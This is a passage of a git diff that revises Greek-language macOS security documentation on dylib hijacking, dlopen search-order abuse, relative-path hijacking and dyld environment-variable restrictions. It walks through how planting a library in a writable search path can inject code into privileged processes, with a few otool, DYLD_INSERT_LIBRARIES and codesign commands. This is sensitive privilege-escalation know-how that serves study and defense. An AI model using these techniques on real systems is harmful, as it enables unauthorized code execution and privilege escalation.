χρησιμοποιήσουν αυτή την τεχνική για **απόκρυψη**, αλλά η πιθανότητα να μπορέσουν να **καταχραστούν αυτό για να κλιμακώσουν προνόμια είναι πολύ χαμηλότερη**. -Πρώτα απ' όλα, είναι **πιο συνηθισμένο** να βρείτε ότι τα **MacOS δυαδικά αρχεία υποδεικνύουν την πλήρη διαδρομή** στις βιβλιοθήκες που πρέπει να φορτωθούν. Και δεύτερον, **MacOS ποτέ δεν ψάχνει** στους φακέλους του **$PATH** για βιβλιοθήκες. +Πρώτα απ' όλα, είναι **πιο συνηθισμένο** να βρείτε ότι τα **δυαδικά αρχεία MacOS υποδεικνύουν την πλήρη διαδρομή** προς τις βιβλιοθήκες που πρέπει να φορτωθούν. Και δεύτερον, **το MacOS ποτέ δεν ψάχνει** στους φακέλους του **$PATH** για βιβλιοθήκες. -Το **κύριο** μέρος του **κώδικα** που σχετίζεται με αυτή τη λειτουργικότητα είναι στη **`ImageLoader::recursiveLoadLibraries`** στο `ImageLoader.cpp`. +Η **κύρια** μέρος του **κώδικα** που σχετίζεται με αυτή τη λειτουργικότητα είναι στη **`ImageLoader::recursiveLoadLibraries`** στο `ImageLoader.cpp`. Υπάρχουν **4 διαφορετικές εντολές κεφαλίδας** που μπορεί να χρησιμοποιήσει ένα macho δυαδικό αρχείο για να φορτώσει βιβλιοθήκες: -- Η εντολή **`LC_LOAD_DYLIB`** είναι η κοινή εντολή για να φορτώσετε μια dylib. +- Η εντολή **`LC_LOAD_DYLIB`** είναι η κοινή εντολή για να φορτώσει μια dylib. - Η εντολή **`LC_LOAD_WEAK_DYLIB`** λειτουργεί όπως η προηγούμενη, αλλά αν η dylib δεν βρεθεί, η εκτέλεση συνεχίζεται χωρίς κανένα σφάλμα. - Η εντολή **`LC_REEXPORT_DYLIB`** προξενεί (ή επανεξάγει) τα σύμβολα από μια διαφορετική βιβλιοθήκη. - Η εντολή **`LC_LOAD_UPWARD_DYLIB`** χρησιμοποιείται όταν δύο βιβλιοθήκες εξαρτώνται η μία από την άλλη (αυτό ονομάζεται _upward dependency_). -Ωστόσο, υπάρχουν **2 τύποι Dylib hijacking**: +Ωστόσο, υπάρχουν **2 τύποι καταχρήσεων dylib**: -- **Απουσία αδύνατα συνδεδεμένων βιβλιοθηκών**: Αυτό σημαίνει ότι η εφαρμογή θα προσπαθήσει να φορτώσει μια βιβλιοθήκη που δεν υπάρχει ρυθμισμένη με **LC_LOAD_WEAK_DYLIB**. Στη συνέχεια, **αν ένας επιτιθέμενος τοποθετήσει μια dylib όπου αναμένεται να φορτωθεί**. -- Το γεγονός ότι ο σύνδεσμος είναι "αδύνατος" σημαίνει ότι η εφαρμογή θα συνεχίσει να εκτελείται ακόμα και αν η βιβλιοθήκη δεν βρεθεί. -- Ο **κώδικας που σχετίζεται** με αυτό είναι στη λειτουργία `ImageLoaderMachO::doGetDependentLibraries` του `ImageLoaderMachO.cpp` όπου `lib->required` είναι μόνο `false` όταν `LC_LOAD_WEAK_DYLIB` είναι true. -- **Βρείτε αδύνατα συνδεδεμένες βιβλιοθήκες** σε δυαδικά αρχεία με (έχετε αργότερα ένα παράδειγμα για το πώς να δημιουργήσετε βιβλιοθήκες hijacking): +- **Απουσία αδύναμων συνδεδεμένων βιβλιοθηκών**: Αυτό σημαίνει ότι η εφαρμογή θα προσπαθήσει να φορτώσει μια βιβλιοθήκη που δεν υπάρχει ρυθμισμένη με **LC_LOAD_WEAK_DYLIB**. Στη συνέχεια, **αν ένας επιτιθέμενος τοποθετήσει μια dylib όπου αναμένεται να φορτωθεί**. +- Το γεγονός ότι ο σύνδεσμος είναι "αδύναμος" σημαίνει ότι η εφαρμογή θα συνεχίσει να εκτελείται ακόμα και αν η βιβλιοθήκη δεν βρεθεί. +- Ο **κώδικας που σχετίζεται** με αυτό είναι στη συνάρτηση `ImageLoaderMachO::doGetDependentLibraries` του `ImageLoaderMachO.cpp` όπου `lib->required` είναι μόνο `false` όταν `LC_LOAD_WEAK_DYLIB` είναι true. +- **Βρείτε αδύναμες συνδεδεμένες βιβλιοθήκες** σε δυαδικά αρχεία με (έχετε αργότερα ένα παράδειγμα για το πώς να δημιουργήσετε βιβλιοθήκες καταχρήσεων): - ```bash otool -l | grep LC_LOAD_WEAK_DYLIB -A 5 cmd LC_LOAD_WEAK_DYLIB cmdsize 56 @@ -88,9 +88,9 @@ current version 1.0.0 compatibility version 1.0.0 ``` - **Ρυθμισμένο με @rpath**: Τα Mach-O δυαδικά αρχεία μπορούν να έχουν τις εντολές **`LC_RPATH`** και **`LC_LOAD_DYLIB`**. Βασισμένο στις **τιμές** αυτών των εντολών, οι **βιβλιοθήκες** θα φορτωθούν από **διαφορετικούς φακέλους**. -- Η **`LC_RPATH`** περιέχει τις διαδρομές ορισμένων φακέλων που χρησιμοποιούνται για να φορτώσουν βιβλιοθήκες από το δυαδικό αρχείο. -- Η **`LC_LOAD_DYLIB`** περιέχει τη διαδρομή προς συγκεκριμένες βιβλιοθήκες που πρέπει να φορτωθούν. Αυτές οι διαδρομές μπορεί να περιέχουν **`@rpath`**, το οποίο θα **αντικατασταθεί** από τις τιμές στη **`LC_RPATH`**. Αν υπάρχουν πολλές διαδρομές στη **`LC_RPATH`**, όλες θα χρησιμοποιηθούν για να αναζητήσουν τη βιβλιοθήκη προς φόρτωση. Παράδειγμα: -- Αν η **`LC_LOAD_DYLIB`** περιέχει `@rpath/library.dylib` και η **`LC_RPATH`** περιέχει `/application/app.app/Contents/Framework/v1/` και `/application/app.app/Contents/Framework/v2/`. Και οι δύο φάκελοι θα χρησιμοποιηθούν για να φορτώσουν `library.dylib`**.** Αν η βιβλιοθήκη δεν υπάρχει στο `[...]/v1/` και ο επιτιθέμενος μπορούσε να την τοποθετήσει εκεί για να καταλάβει τη φόρτωση της βιβλιοθήκης στο `[...]/v2/` καθώς η σειρά των διαδρομών στη **`LC_LOAD_DYLIB`** ακολουθείται. +- Η **`LC_RPATH`** περιέχει τις διαδρομές ορισμένων φακέλων που χρησιμοποιούνται για να φορτωθούν οι βιβλιοθήκες από το δυαδικό αρχείο. +- Η **`LC_LOAD_DYLIB`** περιέχει τη διαδρομή προς συγκεκριμένες βιβλιοθήκες που πρέπει να φορτωθούν. Αυτές οι διαδρομές μπορούν να περιέχουν **`@rpath`**, το οποίο θα **αντικατασταθεί** από τις τιμές στη **`LC_RPATH`**. Αν υπάρχουν πολλές διαδρομές στη **`LC_RPATH`**, όλες θα χρησιμοποιηθούν για να αναζητήσουν τη βιβλιοθήκη προς φόρτωση. Παράδειγμα: +- Αν η **`LC_LOAD_DYLIB`** περιέχει `@rpath/library.dylib` και η **`LC_RPATH`** περιέχει `/application/app.app/Contents/Framework/v1/` και `/application/app.app/Contents/Framework/v2/`. Και οι δύο φάκελοι θα χρησιμοποιηθούν για να φορτώσουν το `library.dylib`**.** Αν η βιβλιοθήκη δεν υπάρχει στο `[...]/v1/` και ο επιτιθέμενος μπορούσε να την τοποθετήσει εκεί για να καταχραστεί τη φόρτωση της βιβλιοθήκης στο `[...]/v2/` καθώς η σειρά των διαδρομών στη **`LC_LOAD_DYLIB`** ακολουθείται. - **Βρείτε διαδρομές rpath και βιβλιοθήκες** σε δυαδικά αρχεία με: `otool -l | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5` > [!NOTE] > **`@executable_path`**: Είναι η **διαδρομή** προς το φάκελο που περιέχει το **κύριο εκτελέσιμο αρχείο**. @@ -100,10 +100,10 @@ compatibility version 1.0.0 > - Όταν χρησιμοποιείται σε ένα εκτελέσιμο, **`@loader_path`** είναι ουσιαστικά το **ίδιο** με το **`@executable_path`**. > - Όταν χρησιμοποιείται σε μια **dylib**, **`@loader_path`** δίνει τη **διαδρομή** προς τη **dylib**. -Ο τρόπος για να **κλιμακώσετε προνόμια** εκμεταλλευόμενοι αυτή τη λειτουργικότητα θα ήταν στην σπάνια περίπτωση που μια **εφαρμογή** που εκτελείται **από** **root** **ψάχνει** για κάποια **βιβλιοθήκη σε κάποιο φάκελο όπου ο επιτιθέμενος έχει δικαιώματα εγγραφής.** +Ο τρόπος για να **κλιμακώσετε προνόμια** καταχρώντας αυτή τη λειτουργικότητα θα ήταν στην σπάνια περίπτωση που μια **εφαρμογή** που εκτελείται **από** **root** **ψάχνει** για κάποια **βιβλιοθήκη σε κάποιο φάκελο όπου ο επιτιθέμενος έχει δικαιώματα εγγραφής.** > [!TIP] -> Ένας ωραίος **σάρωτης** για να βρείτε **ελλείπουσες βιβλιοθήκες** σε εφαρμογές είναι [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) ή μια [**CLI έκδοση**](https://github.com/pandazheng/DylibHijack).\ +> Ένας ωραίος **σάρωτης** για να βρείτε **ελλείπουσες βιβλιοθήκες** σε εφαρμογές είναι [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) ή μια [**έκδοση CLI**](https://github.com/pandazheng/DylibHijack).\ > Ένας ωραίος **αναφορά με τεχνικές λεπτομέρειες** σχετικά με αυτή την τεχνική μπορεί να βρεθεί [**εδώ**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x). **Example** @@ -115,11 +115,11 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md ## Dlopen Hijacking > [!CAUTION] -> Θυμηθείτε ότι **οι προηγούμενοι περιορισμοί επικύρωσης βιβλιοθηκών ισχύουν επίσης** για την εκτέλεση επιθέσεων Dlopen hijacking. +> Θυμηθείτε ότι **οι προηγούμενοι περιορισμοί επικύρωσης βιβλιοθήκης ισχύουν επίσης** για την εκτέλεση επιθέσεων Dlopen hijacking. Από **`man dlopen`**: -- Όταν η διαδρομή **δεν περιέχει χαρακτήρα slash** (δηλαδή είναι απλώς ένα όνομα φύλλου), **dlopen() θα κάνει αναζητήσεις**. Αν **`$DYLD_LIBRARY_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα κοιτάξει πρώτα **σε αυτή τη διεύθυνση**. Στη συνέχεια, αν το καλούν macho αρχείο ή το κύριο εκτελέσιμο καθορίζει μια **`LC_RPATH`**, τότε το dyld θα **κοιτάξει σε αυτούς τους** φακέλους. Στη συνέχεια, αν η διαδικασία είναι **χωρίς περιορισμούς**, το dyld θα αναζητήσει στον **τρέχοντα φάκελο εργασίας**. Τέλος, για παλαιότερα δυαδικά αρχεία, το dyld θα προσπαθήσει κάποιες εναλλακτικές. Αν **`$DYLD_FALLBACK_LIBRARY_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα αναζητήσει σε **αυτούς τους φακέλους**, αλλιώς, το dyld θα κοιτάξει σε **`/usr/local/lib/`** (αν η διαδικασία είναι χωρίς περιορισμούς), και στη συνέχεια σε **`/usr/lib/`** (αυτή η πληροφορία ελήφθη από **`man dlopen`**). +- Όταν η διαδρομή **δεν περιέχει χαρακτήρα slash** (δηλαδή είναι απλώς ένα όνομα φύλλου), **dlopen() θα κάνει αναζητήσεις**. Αν **`$DYLD_LIBRARY_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα κοιτάξει πρώτα **σε αυτή τη διεύθυνση**. Στη συνέχεια, αν το καλούν macho αρχείο ή το κύριο εκτελέσιμο καθορίζει μια **`LC_RPATH`**, τότε το dyld θα **κοιτάξει σε αυτές** τις διευθύνσεις. Στη συνέχεια, αν η διαδικασία είναι **χωρίς περιορισμούς**, το dyld θα αναζητήσει στον **τρέχοντα φάκελο εργασίας**. Τέλος, για παλαιά δυαδικά αρχεία, το dyld θα προσπαθήσει κάποιες εναλλακτικές. Αν **`$DYLD_FALLBACK_LIBRARY_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα αναζητήσει σε **αυτές τις διευθύνσεις**, αλλιώς, το dyld θα κοιτάξει στο **`/usr/local/lib/`** (αν η διαδικασία είναι χωρίς περιορισμούς), και στη συνέχεια στο **`/usr/lib/`** (αυτές οι πληροφορίες ελήφθησαν από **`man dlopen`**). 1. `$DYLD_LIBRARY_PATH` 2. `LC_RPATH` 3. `CWD`(αν είναι χωρίς περιορισμούς) @@ -128,12 +128,12 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md 6. `/usr/lib/` > [!CAUTION] -> Αν δεν υπάρχουν slashes στο όνομα, θα υπάρχουν 2 τρόποι για να γίνει hijacking: +> Αν δεν υπάρχουν slashes στο όνομα, θα υπήρχαν 2 τρόποι για να γίνει μια καταχρήση: > > - Αν οποιαδήποτε **`LC_RPATH`** είναι **γραπτή** (αλλά η υπογραφή ελέγχεται, οπότε για αυτό χρειάζεστε επίσης το δυαδικό αρχείο να είναι χωρίς περιορισμούς) -> - Αν το δυαδικό αρχείο είναι **χωρίς περιορισμούς** και στη συνέχεια είναι δυνατό να φορτωθεί κάτι από το CWD (ή εκμεταλλευόμενοι μία από τις αναφερόμενες μεταβλητές περιβάλλοντος) +> - Αν το δυαδικό αρχείο είναι **χωρίς περιορισμούς** και στη συνέχεια είναι δυνατό να φορτωθεί κάτι από το CWD (ή να καταχραστεί μία από τις αναφερόμενες μεταβλητές περιβάλλοντος) -- Όταν η διαδρομή **φαίνεται να είναι διαδρομή framework** (π.χ. `/stuff/foo.framework/foo`), αν **`$DYLD_FRAMEWORK_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα κοιτάξει πρώτα σε αυτή τη διεύθυνση για τη **μερική διαδρομή του framework** (π.χ. `foo.framework/foo`). Στη συνέχεια, το dyld θα προσπαθήσει τη **παρεχόμενη διαδρομή όπως είναι** (χρησιμοποιώντας τον τρέχοντα φάκελο εργασίας για σχετικές διαδρομές). Τέλος, για παλαιότερα δυαδικά αρχεία, το dyld θα προσπαθήσει κάποιες εναλλακτικές. Αν **`$DYLD_FALLBACK_FRAMEWORK_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα αναζητήσει σε αυτούς τους φακέλους. Διαφορετικά, θα αναζητήσει **`/Library/Frameworks`** (στο macOS αν η διαδικασία είναι χωρίς περιορισμούς), στη συνέχεια **`/System/Library/Frameworks`**. +- Όταν η διαδρομή **φαίνεται να είναι διαδρομή framework** (π.χ. `/stuff/foo.framework/foo`), αν **`$DYLD_FRAMEWORK_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα κοιτάξει πρώτα σε αυτή τη διεύθυνση για τη **μερική διαδρομή framework** (π.χ. `foo.framework/foo`). Στη συνέχεια, το dyld θα προσπαθήσει τη **παρεχόμενη διαδρομή όπως είναι** (χρησιμοποιώντας τον τρέχοντα φάκελο εργασίας για σχετικές διαδρομές). Τέλος, για παλαιά δυαδικά αρχεία, το dyld θα προσπαθήσει κάποιες εναλλακτικές. Αν **`$DYLD_FALLBACK_FRAMEWORK_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα αναζητήσει σε αυτές τις διευθύνσεις. Διαφορετικά, θα αναζητήσει στο **`/Library/Frameworks`** (στο macOS αν η διαδικασία είναι χωρίς περιορισμούς), στη συνέχεια **`/System/Library/Frameworks`**. 1. `$DYLD_FRAMEWORK_PATH` 2. παρεχόμενη διαδρομή (χρησιμοποιώντας τον τρέχοντα φάκελο εργασίας για σχετικές διαδρομές αν είναι χωρίς περιορισμούς) 3. `$DYLD_FALLBACK_FRAMEWORK_PATH` @@ -141,11 +141,11 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md 5. `/System/Library/Frameworks` > [!CAUTION] -> Αν είναι διαδρομή framework, ο τρόπος για να γίνει hijacking θα ήταν: +> Αν είναι διαδρομή framework, ο τρόπος για να την καταχραστείτε θα ήταν: > -> - Αν η διαδικασία είναι **χωρίς περιορισμούς**, εκμεταλλευόμενοι τη **σχετική διαδρομή από CWD** τις αναφερόμενες μεταβλητές περιβάλλοντος (ακόμα και αν δεν αναφέρεται στα έγγραφα αν η διαδικασία είναι περιορισμένη οι μεταβλητές DYLD\_\* αφαιρούνται) +> - Αν η διαδικασία είναι **χωρίς περιορισμούς**, καταχρώντας τη **σχετική διαδρομή από το CWD** τις αναφερόμενες μεταβλητές περιβάλλοντος (ακόμα και αν δεν αναφέρεται στα έγγραφα αν η διαδικασία είναι περιορισμένη οι μεταβλητές DYLD\_\* αφαιρούνται) -- Όταν η διαδρομή **περιέχει slash αλλά δεν είναι διαδρομή framework** (δηλαδή μια πλήρη διαδρομή ή μια μερική διαδρομή προς μια dylib), το dlopen() πρώτα κοιτάζει (αν έχει ρυθμιστεί) στη **`$DYLD_LIBRARY_PATH`** (με το μέρος φύλλου από τη διαδρομή). Στη συνέχεια, το dyld **δοκιμάζει τη παρεχόμενη διαδρομή** (χρησιμοποιώντας τον τρέχοντα φάκελο εργασίας για σχετικές διαδρομές (αλλά μόνο για διαδικασίες χωρίς περιορισμούς)). Τέλος, για παλαιότερα δυαδικά αρχεία, το dyld θα προσπαθήσει εναλλακτικές. Αν **`$DYLD_FALLBACK_LIBRARY_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα αναζητήσει σε αυτούς τους φακέλους, αλλιώς, το dyld θα κοιτάξει σε **`/usr/local/lib/`** (αν η διαδικασία είναι χωρίς περιορισμούς), και στη συνέχεια σε **`/usr/lib/`**. +- Όταν η διαδρομή **περιέχει slash αλλά δεν είναι διαδρομή framework** (δηλαδή μια πλήρη διαδρομή ή μια μερική διαδρομή προς μια dylib), το dlopen() πρώτα κοιτάζει (αν έχει ρυθμιστεί) στο **`$DYLD_LIBRARY_PATH`** (με το φύλλο μέρος από τη διαδρομή). Στη συνέχεια, το dyld **δοκιμάζει τη παρεχόμενη διαδρομή** (χρησιμοποιώντας τον τρέχοντα φάκελο εργασίας για σχετικές διαδρομές (αλλά μόνο για διαδικασίες χωρίς περιορισμούς)). Τέλος, για παλαιότερα δυαδικά αρχεία, το dyld θα προσπαθήσει εναλλακτικές. Αν **`$DYLD_FALLBACK_LIBRARY_PATH`** έχει ρυθμιστεί κατά την εκκίνηση, το dyld θα αναζητήσει σε αυτές τις διευθύνσεις, αλλιώς, το dyld θα κοιτάξει στο **`/usr/local/lib/`** (αν η διαδικασία είναι χωρίς περιορισμούς), και στη συνέχεια στο **`/usr/lib/`**. 1. `$DYLD_LIBRARY_PATH` 2. παρεχόμενη διαδρομή (χρησιμοποιώντας τον τρέχοντα φάκελο εργασίας για σχετικές διαδρομές αν είναι χωρίς περιορισμούς) 3. `$DYLD_FALLBACK_LIBRARY_PATH` @@ -153,18 +153,18 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md 5. `/usr/lib/` > [!CAUTION] -> Αν υπάρχουν slashes στο όνομα και δεν είναι framework, ο τρόπος για να γίνει hijacking θα ήταν: +> Αν υπάρχουν slashes στο όνομα και δεν είναι framework, ο τρόπος για να την καταχραστείτε θα ήταν: > -> - Αν το δυαδικό αρχείο είναι **χωρίς περιορισμούς** και στη συνέχεια είναι δυνατό να φορτωθεί κάτι από το CWD ή `/usr/local/lib` (ή εκμεταλλευόμενοι μία από τις αναφερόμενες μεταβλητές περιβάλλοντος) +> - Αν το δυαδικό αρχείο είναι **χωρίς περιορισμούς** και στη συνέχεια είναι δυνατό να φορτωθεί κάτι από το CWD ή `/usr/local/lib` (ή να καταχραστεί μία από τις αναφερόμενες μεταβλητές περιβάλλοντος) -> [!NOTE] +> [!TIP] > Σημείωση: Δεν υπάρχουν **αρχεία ρυθμίσεων** για **έλεγχο της αναζήτησης dlopen**. > -> Σημείωση: Αν το κύριο εκτελέσιμο είναι ένα **set\[ug]id δυαδικό αρχείο ή υπογεγραμμένο με δικαιώματα**, τότε **όλες οι μεταβλητές περιβάλλοντος αγνοούνται**, και μπορεί να χρησιμοποιηθεί μόνο μια πλήρης διαδρομή ([ελέγξτε τους περιορισμούς DYLD_INSERT_LIBRARIES](macos-dyld-hijacking-and-dyld_insert_libraries.md#check-dyld_insert_librery-restrictions) για περισσότερες λεπτομέρειες) +> Σημείωση: Αν το κύριο εκτελέσιμο είναι ένα **set\[ug]id δυαδικό αρχείο ή υπογεγραμμένο με δικαιώματα**, τότε **όλες οι μεταβλητές περιβάλλοντος αγνοούνται**, και μπορεί να χρησιμοποιηθεί μόνο μια πλήρης διαδρομή ( [ελέγξτε τους περιορισμούς DYLD_INSERT_LIBRARIES](macos-dyld-hijacking-and-dyld_insert_libraries.md#check-dyld_insert_librery-restrictions) για περισσότερες λεπτομέρειες) > > Σημείωση: Οι πλατφόρμες της Apple χρησιμοποιούν "καθολικά" αρχεία για να συνδυάσουν 32-bit και 64-bit βιβλιοθήκες. Αυτό σημαίνει ότι δεν υπάρχουν **χωριστές διαδρομές αναζήτησης 32-bit και 64-bit**. > -> Σημείωση: Σε πλατφόρμες της Apple οι περισσότερες OS dylibs είναι **συνδυασμένες στο dyld cache** και δεν υπάρχουν στο δίσκο. Επομένως, η κλήση **`stat()`** για να ελέγξετε αν μια OS dylib υπάρχει **δεν θα λειτουργήσει**. Ωστόσο, **`dlopen_preflight()`** χρησιμοποιεί τα ίδια βήματα με το **`dlopen()`** για να βρει ένα συμβατό mach-o αρχείο. +> Σημείωση: Σε πλατφόρμες της Apple οι περισσότερες βιβλιοθήκες OS dylibs είναι **συνδυασμένες στο cache dyld** και δεν υπάρχουν στο δίσκο. Επομένως, η κλήση **`stat()`** για να ελέγξετε αν μια βιβλιοθήκη OS dylib υπάρχει **δεν θα λειτουργήσει**. Ωστόσο, **`dlopen_preflight()`** χρησιμοποιεί τα ίδια βήματα με το **`dlopen()`** για να βρει ένα συμβατό macho αρχείο. **Check paths** @@ -217,7 +217,7 @@ sudo fs_usage | grep "dlopentest" ``` ## Relative Path Hijacking -Αν ένα **privileged binary/app** (όπως ένα SUID ή κάποιο binary με ισχυρά δικαιώματα) **φορτώνει μια βιβλιοθήκη σχετικής διαδρομής** (για παράδειγμα χρησιμοποιώντας `@executable_path` ή `@loader_path`) και έχει **απενεργοποιημένη την Επικύρωση Βιβλιοθήκης**, θα μπορούσε να είναι δυνατό να μετακινήσετε το binary σε μια τοποθεσία όπου ο επιτιθέμενος θα μπορούσε να **τροποποιήσει τη βιβλιοθήκη που φορτώνεται με σχετική διαδρομή**, και να την εκμεταλλευτεί για να εισάγει κώδικα στη διαδικασία. +Αν ένα **privileged binary/app** (όπως ένα SUID ή κάποιο binary με ισχυρά δικαιώματα) **φορτώνει μια βιβλιοθήκη σχετικής διαδρομής** (για παράδειγμα χρησιμοποιώντας `@executable_path` ή `@loader_path`) και έχει **απενεργοποιημένη την Επικύρωση Βιβλιοθήκης**, θα μπορούσε να είναι δυνατό να μετακινήσετε το binary σε μια τοποθεσία όπου ο επιτιθέμενος θα μπορούσε να **τροποποιήσει τη βιβλιοθήκη σχετικής διαδρομής**, και να την εκμεταλλευτεί για να εισάγει κώδικα στη διαδικασία. ## Prune `DYLD_*` and `LD_LIBRARY_PATH` env variables @@ -225,7 +225,7 @@ sudo fs_usage | grep "dlopentest" Θα ορίσει επίσης σε **null** συγκεκριμένα τις env μεταβλητές **`DYLD_FALLBACK_FRAMEWORK_PATH`** και **`DYLD_FALLBACK_LIBRARY_PATH`** για **suid** και **sgid** binaries. -Αυτή η συνάρτηση καλείται από τη **`_main`** συνάρτηση του ίδιου αρχείου αν στοχεύει το OSX με αυτόν τον τρόπο: +Αυτή η συνάρτηση καλείται από τη συνάρτηση **`_main`** του ίδιου αρχείου αν στοχεύει το OSX με αυτόν τον τρόπο: ```cpp #if TARGET_OS_OSX if ( !gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache ) { @@ -262,7 +262,7 @@ gLinkContext.allowClassicFallbackPaths = !isRestricted; gLinkContext.allowInsertFailures = false; gLinkContext.allowInterposing = true; ``` -Το οποίο σημαίνει ότι αν το δυαδικό αρχείο είναι **suid** ή **sgid**, ή έχει ένα τμήμα **RESTRICT** στους επικεφαλίδες ή έχει υπογραφεί με την σημαία **CS_RESTRICT**, τότε **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** είναι αληθές και οι μεταβλητές περιβάλλοντος αποκόπτονται. +Το οποίο σημαίνει ότι αν το δυαδικό αρχείο είναι **suid** ή **sgid**, ή έχει ένα τμήμα **RESTRICT** στους επικεφαλίδες ή έχει υπογραφεί με την ένδειξη **CS_RESTRICT**, τότε **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** είναι αληθές και οι μεταβλητές περιβάλλοντος αποκόπτονται. Σημειώστε ότι αν το CS_REQUIRE_LV είναι αληθές, τότε οι μεταβλητές δεν θα αποκοπούν αλλά η επικύρωση της βιβλιοθήκης θα ελέγξει ότι χρησιμοποιούν το ίδιο πιστοποιητικό με το αρχικό δυαδικό αρχείο. @@ -286,7 +286,7 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict ``` ### Hardened runtime -Δημιουργήστε ένα νέο πιστοποιητικό στο Keychain και χρησιμοποιήστε το για να υπογράψετε το δυαδικό: +Δημιουργήστε ένα νέο πιστοποιητικό στο Keychain και χρησιμοποιήστε το για να υπογράψετε το δυαδικό αρχείο: ```bash # Apply runtime proetction codesign -s --option=runtime ./hello diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md index f281ba726..b72786883 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md @@ -11,11 +11,11 @@ Φυσικά, **`dyld`** δεν έχει καμία εξάρτηση (χρησιμοποιεί syscalls και αποσπάσματα libSystem). > [!CAUTION] -> Εάν αυτός ο σύνδεσμος περιέχει οποιαδήποτε ευπάθεια, καθώς εκτελείται πριν από την εκτέλεση οποιουδήποτε δυαδικού (ακόμα και πολύ προνομιακών), θα ήταν δυνατό να **κλιμακωθούν τα προνόμια**. +> Εάν αυτός ο σύνδεσμος περιέχει οποιαδήποτε ευπάθεια, καθώς εκτελείται πριν από την εκτέλεση οποιουδήποτε δυαδικού (ακόμα και πολύ προνομιούχων), θα ήταν δυνατό να **κλιμακωθούν τα προνόμια**. ### Flow -Το Dyld θα φορτωθεί από **`dyldboostrap::start`**, το οποίο θα φορτώσει επίσης πράγματα όπως το **stack canary**. Αυτό συμβαίνει επειδή αυτή η συνάρτηση θα λάβει στο **`apple`** όρισμα της αυτό και άλλες **ευαίσθητες** **τιμές**. +Το Dyld θα φορτωθεί από **`dyldboostrap::start`**, το οποίο θα φορτώσει επίσης πράγματα όπως το **stack canary**. Αυτό συμβαίνει επειδή αυτή η συνάρτηση θα λάβει στο **`apple`** όρισμα της το vector και άλλες **ευαίσθητες** **τιμές**. **`dyls::_main()`** είναι το σημείο εισόδου του dyld και η πρώτη του εργασία είναι να εκτελέσει το `configureProcessRestrictions()`, το οποίο συνήθως περιορίζει τις **`DYLD_*`** μεταβλητές περιβάλλοντος που εξηγούνται σε: @@ -23,14 +23,14 @@ ./ {{#endref}} -Στη συνέχεια, χαρτογραφεί την κοινή μνήμη dyld που προ-συνδέει όλες τις σημαντικές βιβλιοθήκες συστήματος και στη συνέχεια χαρτογραφεί τις βιβλιοθήκες από τις οποίες εξαρτάται το δυαδικό και συνεχίζει αναδρομικά μέχρι να φορτωθούν όλες οι απαραίτητες βιβλιοθήκες. Επομένως: +Στη συνέχεια, χαρτογραφεί την κοινή μνήμη dyld που προσυνδέει όλες τις σημαντικές βιβλιοθήκες συστήματος και μετά χαρτογραφεί τις βιβλιοθήκες από τις οποίες εξαρτάται το δυαδικό και συνεχίζει αναδρομικά μέχρι να φορτωθούν όλες οι απαραίτητες βιβλιοθήκες. Επομένως: 1. αρχίζει να φορτώνει τις εισαχθείσες βιβλιοθήκες με `DYLD_INSERT_LIBRARIES` (αν επιτρέπεται) 2. Στη συνέχεια τις κοινές που έχουν αποθηκευτεί 3. Στη συνέχεια τις εισαγόμενες 1. Στη συνέχεια συνεχίζει να εισάγει βιβλιοθήκες αναδρομικά -Μόλις φορτωθούν όλες, οι **αρχικοποιητές** αυτών των βιβλιοθηκών εκτελούνται. Αυτές είναι κωδικοποιημένες χρησιμοποιώντας **`__attribute__((constructor))`** που ορίζεται στο `LC_ROUTINES[_64]` (τώρα απαρχαιωμένο) ή μέσω δείκτη σε μια ενότητα που σημαίνεται με `S_MOD_INIT_FUNC_POINTERS` (συνήθως: **`__DATA.__MOD_INIT_FUNC`**). +Μόλις φορτωθούν όλες, οι **αρχικοποιητές** αυτών των βιβλιοθηκών εκτελούνται. Αυτές είναι κωδικοποιημένες χρησιμοποιώντας **`__attribute__((constructor))`** που ορίζεται στο `LC_ROUTINES[_64]` (τώρα αποσυρμένο) ή μέσω δείκτη σε μια ενότητα που σημαίνεται με `S_MOD_INIT_FUNC_POINTERS` (συνήθως: **`__DATA.__MOD_INIT_FUNC`**). Οι τερματιστές είναι κωδικοποιημένοι με **`__attribute__((destructor))`** και βρίσκονται σε μια ενότητα που σημαίνεται με `S_MOD_TERM_FUNC_POINTERS` (**`__DATA.__mod_term_func`**). @@ -47,10 +47,10 @@ - **`__DATA.__la_symbol_ptr`**: Δείκτες τεμπέλικων συμβόλων (δεσμευμένοι κατά την πρώτη πρόσβαση) > [!WARNING] -> Σημειώστε ότι οι δείκτες με το πρόθεμα "auth\_" χρησιμοποιούν ένα κλειδί κρυπτογράφησης εντός της διαδικασίας για να το προστατεύσουν (PAC). Επιπλέον, είναι δυνατό να χρησιμοποιηθεί η εντολή arm64 `BLRA[A/B]` για να επαληθεύσετε τον 